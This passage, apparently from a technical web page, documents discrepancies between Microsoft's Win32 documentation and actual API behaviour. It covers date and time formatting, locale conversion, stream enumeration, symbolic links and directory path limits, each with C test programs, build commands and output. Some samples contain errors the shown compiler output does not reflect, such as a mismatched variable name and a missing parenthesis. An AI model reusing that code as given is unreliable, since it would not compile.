DATE_LONGDATE,
&st,
(LPCWSTR) NULL,
lpDate,
niSize,
(LPCWSTR) NULL);
if (niDate == 0)
PrintConsole(hError,
L"GetDateFormatEx() returned error %lu\n",
dwError = GetLastError());
else
if (niDate != niSize - 1)
PrintConsole(hError,
L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
lpDate, niDate, wcslen(lpDate));
if (LocalFree(lpDate) != NULL)
PrintConsole(hError,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
niSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
TIME_FORCE24HOURFORMAT,
&st,
(LPCWSTR) NULL,
(LPWSTR) NULL,
0);
if (niSize == 0)
PrintConsole(hError,
L"GetTimeFormatEx() returned error %lu\n",
dwError = GetLastError());
else
{
lpTime = LocalAlloc(LPTR, niSize * sizeof(*lpTime));
if (lpTime == NULL)
PrintConsole(hError,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
niTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
TIME_FORCE24HOURFORMAT,
&st,
(LPCWSTR) NULL,
lpTime,
niSize);
if (niTime == 0)
PrintConsole(hError,
L"GetTimeFormatEx() returned error %lu\n",
dwError = GetLastError());
else
if (niTime != niSize - 1)
PrintConsole(hError,
L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
lpTime, niTime, wcslen(lpTime));
if (LocalFree(lpTime) != NULL)
PrintConsole(hError,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2.:
.\blunder.exe
GetDateFormat() returned date '08/15/2020' of 11 characters, but real string length is 10 characters GetTimeFormat() returned time '12:34:56' of 9 characters, but real string length is 8 characters GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but real string length is 24 characters GetTimeFormatEx() returned time '12:34:56' of 9 characters, but real string length is 8 characters
GetCalendarInfo()
,
GetCalendarInfoEx()
,
GetCurrencyFormat()
,
GetCurrencyFormatEx()
,
GetDurationFormat()
,
GetDurationFormatEx()
,
GetGeoInfo()
,
GetLocaleInfo()
,
GetLocaleInfoEx()
,
GetNumberFormat()
and
GetNumberFormatEx()
is left as an exercise to the reader.
International Support
National Language Support Functions
National Language Support Functions
Security Considerations: International Features
Table of Geographical Locations
Table of Geographical Locations
Sort Order Identifiers
Sort Order Identifiers
Calendar Identifiers
Calendar Identifiers
Calendar Type Information
Calendar Type Information
Era Handling for the Japanese Calendar
Paper Sizes
Paper Sizes
EnumCalendarInfo()
EnumCalendarInfo()
EnumCalendarInfoEx()
EnumCalendarInfoEx()
EnumCalendarInfoExEx()
EnumCalendarInfoExEx()
EnumCalendarInfoProc()
EnumCalendarInfoProc()
EnumCalendarInfoProcEx()
EnumCalendarInfoProcEx()
EnumCalendarInfoProcExEx()
EnumCalendarInfoProcExEx()
EnumDateFormats()
EnumDateFormats()
EnumDateFormatsEx()
EnumDateFormatsEx()
EnumDateFormatsExEx()
EnumDateFormatsExEx()
EnumDateFormatsProc()
EnumDateFormatsProc()
EnumDateFormatsProcEx()
EnumDateFormatsProcEx()
EnumDateFormatsProcExEx()
EnumDateFormatsProcExEx()
EnumTimeFormats()
EnumTimeFormats()
EnumTimeFormatsEx()
EnumTimeFormatsEx()
EnumTimeFormatsProc()
EnumTimeFormatsProc()
EnumTimeFormatsProcEx()
EnumTimeFormatsProcEx()
GetCalendarInfo()
GetCalendarInfo()
GetCalendarInfoEx()
GetCalendarInfoEx()
GetCurrencyFormat()
GetCurrencyFormat()
GetCurrencyFormatEx()
GetCurrencyFormatEx()
GetLocaleInfo()
GetLocaleInfo()
GetLocaleInfoEx()
GetLocaleInfoEx()
GetNumberFormat()
GetNumberFormat()
GetNumberFormatEx()
GetNumberFormatEx()
CURRENCYFMT
CURRENCYFMT
NUMBERFMT
NUMBERFMT
structure
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
ConvertDefaultLocale()
states:
Converts a default locale value to an actual locale identifier.OUCH⁰: the preprocessor macroNote This function is only provided for converting partial locale identifiers.[…]LCID ConvertDefaultLocale( [in] LCID Locale );
[in] Locale
Default locale identifier value to convert. You can use the MAKELANGID macro to create a locale identifier or use one of the following predefined values.
Windows Vista and later: The following custom locale identifiers are also supported.[…]
Returns the appropriate locale identifier if successful.
This function returns the value of the Locale parameter if it does not succeed. The function fails when the Locale value is not one of the default values listed above.
MAKELANGID
creates
Language Identifiers
– the preprocessor macro
MAKELCID
creates
Locale Identifiers!
MAKELANGID
Language Identifiers
MAKELCID
Locale Identifiers
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szDefault[LOCALE_NAME_MAX_LENGTH];
WCHAR szConvert[LOCALE_NAME_MAX_LENGTH];
LCID lcConvert;
LCID lcDefault = LOCALE_NEUTRAL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
do
{
lcConvert = ConvertDefaultLocale(lcDefault);
if (lcConvert != lcDefault)
if (LCIDToLocaleName(lcDefault,
szDefault,
sizeof(szDefault) / sizeof(*szDefault),
LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
PrintConsole(hError,
L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
dwError = GetLastError(), lcDefault);
else if (LCIDToLocaleName(lcConvert,
szConvert,
sizeof(szConvert) / sizeof(*szConvert),
LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
PrintConsole(hError,
L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
dwError = GetLastError(), lcConvert);
else
PrintConsole(hError,
L"0x%08lX = %ls\n"
L"0x%08lX = %ls\n",
lcDefault, szDefault,
lcConvert, szConvert);
}
while (lcDefault++ < LOCALE_CUSTOM_UI_DEFAULT);
ExitProcess(dwError);
}
LOCALE_NEUTRAL
ConvertDefaultLocale()
LCIDToLocaleName()
LCIDToLocaleName()
LocaleNameToLCID()
LocaleNameToLCID()
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2.:
.\blunder.exe
0x00000000 = en-US 0x00000409 = en-US 0x00000001 = ar 0x00000401 = ar-SA 0x00000002 = bg 0x00000402 = bg-BG 0x00000003 = ca 0x00000403 = ca-ES 0x00000004 = zh-Hans 0x00000804 = zh-CN 0x00000005 = cs 0x00000405 = cs-CZ 0x00000006 = da 0x00000406 = da-DK 0x00000007 = de 0x00000407 = en-US 0x00000008 = el 0x00000408 = el-GR 0x00000009 = en 0x00000409 = en-US 0x0000000A = es 0x00000C0A = es-ES 0x0000000B = fi 0x0000040B = fi-FI 0x0000000C = fr 0x0000040C = fr-FR 0x0000000D = he 0x0000040D = he-IL 0x0000000E = hu 0x0000040E = hu-HU 0x0000000F = is 0x0000040F = is-IS 0x00000010 = it 0x00000410 = it-IT 0x00000011 = ja 0x00000411 = ja-JP 0x00000012 = ko 0x00000412 = ko-KR 0x00000013 = nl 0x00000413 = nl-NL 0x00000014 = no 0x00000414 = nb-NO 0x00000015 = pl 0x00000415 = pl-PL 0x00000016 = pt 0x00000416 = pt-BR 0x00000017 = rm 0x00000417 = rm-CH 0x00000018 = ro 0x00000418 = ro-RO 0x00000019 = ru 0x00000419 = ru-RU 0x0000001A = hr 0x0000041A = hr-HR 0x0000001B = sk 0x0000041B = sk-SK 0x0000001C = sq 0x0000041C = sq-AL 0x0000001D = sv 0x0000041D = sv-SE 0x0000001E = th 0x0000041E = th-TH 0x0000001F = tr 0x0000041F = tr-TR 0x00000020 = ur 0x00000420 = ur-PK 0x00000021 = id 0x00000421 = id-ID 0x00000022 = uk 0x00000422 = uk-UA 0x00000023 = be 0x00000423 = be-BY 0x00000024 = sl 0x00000424 = sl-SI 0x00000025 = et 0x00000425 = et-EE 0x00000026 = lv 0x00000426 = lv-LV 0x00000027 = lt 0x00000427 = lt-LT 0x00000028 = tg 0x00000428 = tg-Cyrl-TJ 0x00000029 = fa 0x00000429 = fa-IR 0x0000002A = vi 0x0000042A = vi-VN 0x0000002B = hy 0x0000042B = hy-AM 0x0000002C = az 0x0000042C = az-Latn-AZ 0x0000002D = eu 0x0000042D = eu-ES 0x0000002E = hsb 0x0000042E = hsb-DE 0x0000002F = mk 0x0000042F = mk-MK 0x00000032 = tn 0x00000432 = tn-ZA 0x00000034 = xh 0x00000434 = xh-ZA 0x00000035 = zu 0x00000435 = zu-ZA 0x00000036 = af 0x00000436 = af-ZA 0x00000037 = ka 0x00000437 = ka-GE 0x00000038 = fo 0x00000438 = fo-FO 0x00000039 = hi 0x00000439 = hi-IN 0x0000003A = mt 0x0000043A = mt-MT 0x0000003B = se 0x0000043B = se-NO 0x0000003C = ga 0x0000083C = ga-IE 0x0000003E = ms 0x0000043E = ms-MY 0x0000003F = kk 0x0000043F = kk-KZ 0x00000040 = ky 0x00000440 = ky-KG 0x00000041 = sw 0x00000441 = sw-KE 0x00000042 = tk 0x00000442 = tk-TM 0x00000043 = uz 0x00000443 = uz-Latn-UZ 0x00000044 = tt 0x00000444 = tt-RU 0x00000045 = bn 0x00000445 = bn-IN 0x00000046 = pa 0x00000446 = pa-IN 0x00000047 = gu 0x00000447 = gu-IN 0x00000048 = or 0x00000448 = or-IN 0x00000049 = ta 0x00000449 = ta-IN 0x0000004A = te 0x0000044A = te-IN 0x0000004B = kn 0x0000044B = kn-IN 0x0000004C = ml 0x0000044C = ml-IN 0x0000004D = as 0x0000044D = as-IN 0x0000004E = mr 0x0000044E = mr-IN 0x0000004F = sa 0x0000044F = sa-IN 0x00000050 = mn 0x00000450 = mn-MN 0x00000051 = bo 0x00000451 = bo-CN 0x00000052 = cy 0x00000452 = cy-GB 0x00000053 = km 0x00000453 = km-KH 0x00000054 = lo 0x00000454 = lo-LA 0x00000056 = gl 0x00000456 = gl-ES 0x00000057 = kok 0x00000457 = kok-IN 0x0000005A = syr 0x0000045A = syr-SY 0x0000005B = si 0x0000045B = si-LK 0x0000005D = iu 0x0000085D = iu-Latn-CA 0x0000005E = am 0x0000045E = am-ET 0x0000005F = tzm 0x0000085F = tzm-Latn-DZ 0x00000061 = ne 0x00000461 = ne-NP 0x00000062 = fy 0x00000462 = fy-NL 0x00000063 = ps 0x00000463 = ps-AF 0x00000064 = fil 0x00000464 = fil-PH 0x00000065 = dv 0x00000465 = dv-MV 0x00000068 = ha 0x00000468 = ha-Latn-NG 0x0000006A = yo 0x0000046A = yo-NG 0x0000006B = quz 0x0000046B = quz-BO 0x0000006C = nso 0x0000046C = nso-ZA 0x0000006D = ba 0x0000046D = ba-RU 0x0000006E = lb 0x0000046E = lb-LU 0x0000006F = kl 0x0000046F = kl-GL 0x00000070 = ig 0x00000470 = ig-NG 0x00000078 = ii 0x00000478 = ii-CN 0x0000007A = arn 0x0000047A = arn-CL 0x0000007C = moh 0x0000047C = moh-CA 0x0000007E = br 0x0000047E = br-FR 0x00000080 = ug 0x00000480 = ug-CN 0x00000081 = mi 0x00000481 = mi-NZ 0x00000082 = oc 0x00000482 = oc-FR 0x00000083 = co 0x00000483 = co-FR 0x00000084 = gsw 0x00000484 = gsw-FR 0x00000085 = sah 0x00000485 = sah-RU 0x00000086 = qut 0x00000486 = qut-GT 0x00000087 = rw 0x00000487 = rw-RW 0x00000088 = wo 0x00000488 = wo-SN 0x0000008C = prs 0x0000048C = prs-AF 0x00000091 = gd 0x00000491 = gd-GB 0x00000400 = en-US 0x00000409 = en-US 0x00000800 = en-US 0x00000409 = en-US 0x00000C00 = en-US 0x00000409 = en-USOUCH¹: the Win32 function
ConvertDefaultLocale()
fails for the explicitly listed predefined
Locale Identifiers
0x0000007F alias
LOCALE_INVARIANT
,
0x00001000 alias
LOCALE_CUSTOM_UNSPECIFIED
and 0x00001400 alias
LOCALE_CUSTOM_UI_DEFAULT
!
OUCH²: contrary to the last highlighted statement of the documentation cited above it but succeeds for non-default locale identifiers!
FindFirstStreamW()
states:
Enumerates the first stream with a ::$DATA stream type in the specified file or directory.The documentation for the Win32 function[…]
[…]HANDLE FindFirstStreamW( [in] LPCWSTR lpFileName, [in] STREAM_INFO_LEVELS InfoLevel, [out] LPVOID lpFindStreamData, DWORD dwFlags );
[in] lpFileName
The fully qualified file name.
[…]
If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError.
FindFirstStreamTransactedW()
states:
Enumerates the first stream in the specified file or directory as a transacted operation.OUCH:[…]HANDLE FindFirstStreamTransactedW( [in] LPCWSTR lpFileName, [in] STREAM_INFO_LEVELS InfoLevel, [out] LPVOID lpFindStreamData, DWORD dwFlags, [in] HANDLE hTransaction );
[in] lpFileName
The fully qualified file name.
The file must reside on the local computer; otherwise, the function fails and the last error code is set to ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE (6805).
[…] This function works on all file systems that supports hard links; otherwise, the function returns ERROR_STATUS_NOT_IMPLEMENTED (6805).
ERROR_STATUS_NOT_IMPLEMENTED
is
unknown – most probably the
Win32 error code 1 alias
ERROR_INVALID_FUNCTION
is meant here, converted from
NTSTATUS
0xC0000002
alias STATUS_NOT_IMPLEMENTED
!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <ktmw32.h>
#ifdef ERROR_STATUS_NOT_IMPLEMENTED
#error
#endif
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WIN32_FIND_STREAM_DATA fsd;
DWORD dwError;
#ifndef BLUNDER
HANDLE hFind = FindFirstStreamW(L"blunder.exe",
FindStreamInfoStandard,
&fsd,
0UL);
if (hFind == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
while (FindNextStreamW(hFind, &fsd))
continue;
dwError = GetLastError();
if (dwError == ERROR_HANDLE_EOF)
dwError = ERROR_SUCCESS;
if (!FindClose(hFind))
dwError = GetLastError();
}
#else // BLUNDER
HANDLE hFind;
HANDLE hTxFS = CreateTransaction((LPSECURITY_ATTRIBUTES) NULL,
(LPGUID) NULL,
TRANSACTION_DO_NOT_PROMOTE,
0UL,
0UL,
INFINITE,
L"blunder.exe");
if (hTxF == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hFind = FindFirstStreamTransactedW(L"blunder.exe",
FindStreamInfoStandard,
&fsd,
0UL,
hTxF);
if (hFind == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
while (FindNextStreamW(hFind, &fsd))
continue;
dwError = GetLastError();
if (dwError == ERROR_HANDLE_EOF)
dwError = ERROR_SUCCESS;
if (!FindClose(hFind))
dwError = GetLastError();
}
if (!CloseHandle(hTxF))
dwError = GetLastError();
}
#endif // BLUNDER
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
0OOPS¹: contrary to the highlighted statement of the first documentation cited above,
lpFileName
can
be a simple unqualified file name!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib ktmw32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib ktmw32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
0OOPS²: contrary to the first highlighted statement of the second documentation cited above,
lpFileName
can be a simple unqualified
file name!
CreateSymbolicLink()
specifies:
Creates a symbolic link.OUCH⁰: the highlighted statement of this documentation is but misleading and wrong – bit 20 alias[…]
[…]BOOLEAN CreateSymbolicLink( [in] LPCTSTR lpSymlinkFileName, [in] LPCTSTR lpTargetFileName, [in] DWORD dwFlags );
[in] dwFlags
Indicates whether the link target, lpTargetFileName, is a directory.
Value Meaning 0x0 The link target is a file. SYMBOLIC_LINK_FLAG_DIRECTORY
0x1The link target is a directory. SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE
0x2Specify this flag to allow creation of symbolic links when the process is not elevated. […] […]
To remove a symbolic link, delete the file (using DeleteFile or similar APIs) or remove the directory (using RemoveDirectory or similar APIs) depending on what type of symbolic link is used.
SYMBOLIC_LINK_FLAG_DIRECTORY
determines whether the Win32 function
CreateSymbolicLink()
creates a file or a directory to attach the
reparse point
in the first place!
Note: the
MSDN article
Symbolic Link Effects on File Systems Functions
fails to specify the behaviour of the Win32 functions
MoveFile()
,
MoveFileEx()
,
MoveFileTransacted()
,
MoveFileWithProgress()
,
RemoveDirectory()
,
RemoveDirectoryTransacted()
,
ReOpenFile()
,
ReplaceFile()
and
SetCurrentDirectory()
on
symbolic links!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
#ifndef BLUNDER
if (!CreateSymbolicLink(L"Blunder", L".", 0UL))
dwError = GetLastError();
else
{
#ifdef blunder
if (!SetCurrentDirectory(L"Blunder"))
dwError = GetLastError();
#endif
if (!DeleteFile(L"Blunder"))
dwError = GetLastError();
}
#else // BLUNDER
if (!CreateSymbolicLink(L"Blunder", L"blunder.exe", SYMBOLIC_LINK_FLAG_DIRECTORY)
dwError = GetLastError();
else
{
#ifdef blunder
if (!SetCurrentDirectory(L"Blunder"))
dwError = GetLastError();
#endif
if (!RemoveDirectory(L"Blunder"))
dwError = GetLastError();
}
#endif // BLUNDER
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Create the text file blunder.exe.manifest
with the
following content next to the console application
blunder.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Execute the console application blunder.exe
built in
step 2. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH¹: the
CreateSymbolicLink()
function creates a file
symbolic link,
i.e. a
reparse point
attached to a file, that but targets an existing
directory!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 5. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH²: although
Blunder
is a
valid directory name the Win32 function
SetCurrentDirectory()
fails with Win32 error code 267 alias
ERROR_DIRECTORY
– most obviously the mixedsymbolic link confuses it!
Compile and link the source file blunder.c
created in
step 1. a third time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 7. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH³: the
CreateSymbolicLink()
function creates a directory
symbolic link,
i.e. a
reparse point
attached to a directory, that but targets an
existing file!
Compile and link the source file blunder.c
created in
step 1. a last time, now with the preprocessor macros
BLUNDER
and blunder
defined:
CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 9. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁴: the
SetCurrentDirectory()
function fails again with Win32 error code 267 alias
ERROR_DIRECTORY
– most obviously the mixedsymbolic link confuses it!
mixedsymbolic links for the Win32 functions enumerated in the MSDN article Symbolic Link Effects on File Systems Functions as well as others not enumerated there is left as an exercise to the reader.
Note: an exploration of the blunder with the
Win32 function
CreateSymbolicLinkTransacted()
is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
Aforms of the Win32 functions for directory and file management are all limited to a maximum path name length of 260 characters, defined with the preprocessor macro
MAX_PATH
.
For example, the documentation for the Win32 function
CreateDirectory()
states:
Creates a new directory. […]The documentation for the Win32 function[…]BOOL CreateDirectory( [in] LPCTSTR lpPathName, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes );
[in] lpPathName
The path of the directory to be created.
By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting with Windows 10, version 1607, you can opt-in to remove the MAX_PATH limitation without prepending "\\?\". See the "Maximum Path Length Limitation" section of Naming Files, Paths, and Namespaces for details.
[in, optional] lpSecurityAttributes
RemoveDirectory()
specifies:
Deletes an existing empty directory.[…]
[…]BOOL RemoveDirectory( [in] LPCTSTR lpPathName );
[in] lpPathName
The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting in Windows 10, version 1607, you can opt-in to remove the MAX_PATH limitation without prepending "\\?\". See the "Maximum Path Limitation" section of Naming Files, Paths, and Namespaces for details.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
DWORD dwBlunder = 0UL;
WCHAR szBlunder[MAX_PATH];
#ifdef BLUNDER
szBlunder[dwBlunder++] = L'C';
szBlunder[dwBlunder++] = L':';
#endif
szBlunder[dwBlunder++] = L'\\';
do
{
szBlunder[dwBlunder++] = L'€';
szBlunder[dwBlunder] = L'\0';
if (!CreateDirectory(szBlunder, (LPSECURITY_ATTRIBUTES) NULL)
|| !RemoveDirectory(szBlunder))
break;
}
while (dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
dwError = GetLastError();
if (dwError == ERROR_FILENAME_EXCED_RANGE)
dwError = 0UL - dwBlunder;
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-246OUCH¹: contrary to the higlighted statement of its documentation cited above, the Win32 function
CreateDirectory()
limits the directory name to 245 characters!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-248OUCH²: contrary to the higlighted statement of its documentation cited above, the Win32 function
CreateDirectory()
limits the directory name to 245 characters and the path name to 248
characters!
CreateDirectoryEx()
and
CreateDirectoryTransacted()
is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
CreateFile()
specifies how to use the file names CONIN$
and
CONOUT$
:
